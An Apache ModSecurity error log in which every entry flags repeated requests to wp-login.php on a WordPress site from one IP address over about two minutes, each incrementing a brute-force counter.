[Fri Feb 27 20:52:10.456158 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTesKBhrfI6KNv9RiqawAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:11.730185 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTe8KBhrfI6KNv9RiqdAAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:14.277328 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTfsKBhrfI6KNv9RiqhQAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:15.502856 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTf8KBhrfI6KNv9RiqkQAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:18.000197 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTgcKBhrfI6KNv9RiqrQAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:19.203974 2026] [:error] [pid 56075:tid 56081] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTg8KBhrfI6KNv9RiqsAAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:21.828197 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGThcKBhrfI6KNv9RiqtwAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:23.053814 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTh8KBhrfI6KNv9RiquQAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:25.617044 2026] [:error] [pid 56075:tid 56081] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTicKBhrfI6KNv9RiqvgAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:26.843636 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTisKBhrfI6KNv9RiqwAAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:29.470744 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTjcKBhrfI6KNv9RiqyAAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:30.672249 2026] [:error] [pid 56075:tid 56094] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTjsKBhrfI6KNv9Riq0QAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:33.312829 2026] [:error] [pid 56075:tid 56095] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTkcKBhrfI6KNv9Riq3AAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:34.685802 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTksKBhrfI6KNv9Riq7QAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:37.274697 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTlcKBhrfI6KNv9RirBAAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:38.456134 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTlsKBhrfI6KNv9RirCwAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:40.985668 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTmMKBhrfI6KNv9RirEwAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:42.190688 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTmsKBhrfI6KNv9RirFwAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:44.826004 2026] [:error] [pid 56075:tid 56078] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTnMKBhrfI6KNv9RirHwAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:46.057027 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTnsKBhrfI6KNv9RirJQAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:48.554490 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGToMKBhrfI6KNv9RirKQAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:49.814177 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTocKBhrfI6KNv9RirKwAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:52.397227 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTpMKBhrfI6KNv9RirNAAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:53.622118 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTpcKBhrfI6KNv9RirNgAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:56.163667 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTqMKBhrfI6KNv9RirRwAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:57.411282 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTqcKBhrfI6KNv9RirSwAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:52:59.958405 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTq8KBhrfI6KNv9RirTgAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:01.294387 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTrcKBhrfI6KNv9RirUQAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:04.016667 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTsMKBhrfI6KNv9RirZQAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:05.199167 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTscKBhrfI6KNv9RirawAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:07.754959 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:38488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTs8KBhrfI6KNv9RirdwAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:09.646532 2026] [:error] [pid 56075:tid 56078] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTtcKBhrfI6KNv9RirhAAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:12.308919 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTuMKBhrfI6KNv9RirlAAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:13.588118 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTucKBhrfI6KNv9RirmwAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:16.202265 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTvMKBhrfI6KNv9RirqgAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:17.439775 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTvcKBhrfI6KNv9RirsgAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:21.183435 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTwcKBhrfI6KNv9RirxAAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:22.392167 2026] [:error] [pid 56075:tid 56094] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTwsKBhrfI6KNv9RirygAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:24.948385 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTxMKBhrfI6KNv9Rir0QAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:26.155147 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTxsKBhrfI6KNv9Rir1gAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:28.720936 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTyMKBhrfI6KNv9Rir3QAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:29.949344 2026] [:error] [pid 56075:tid 56082] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTycKBhrfI6KNv9Rir6gAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:32.631582 2026] [:error] [pid 56075:tid 56095] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTzMKBhrfI6KNv9Rir_gAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:33.831647 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTzcKBhrfI6KNv9RisAAAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:36.329525 2026] [:error] [pid 56075:tid 56078] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT0MKBhrfI6KNv9RisBgAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:37.603679 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT0cKBhrfI6KNv9RisDAAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:40.225696 2026] [:error] [pid 56075:tid 56083] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT1MKBhrfI6KNv9RisFAAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:41.449921 2026] [:error] [pid 56075:tid 56081] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT1cKBhrfI6KNv9RisGwAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:44.179215 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT2MKBhrfI6KNv9RisKAAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:45.403158 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT2cKBhrfI6KNv9RisKwAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:48.071724 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT3MKBhrfI6KNv9RisOQAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:49.262574 2026] [:error] [pid 56075:tid 56094] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT3cKBhrfI6KNv9RisPwAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:51.844250 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT38KBhrfI6KNv9RisSwAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:53.118197 2026] [:error] [pid 56075:tid 56081] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT4cKBhrfI6KNv9RisUwAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:53:55.965931 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT48KBhrfI6KNv9RisXwAAAAo"], referer: https://gigfragments.org/wp-login.php
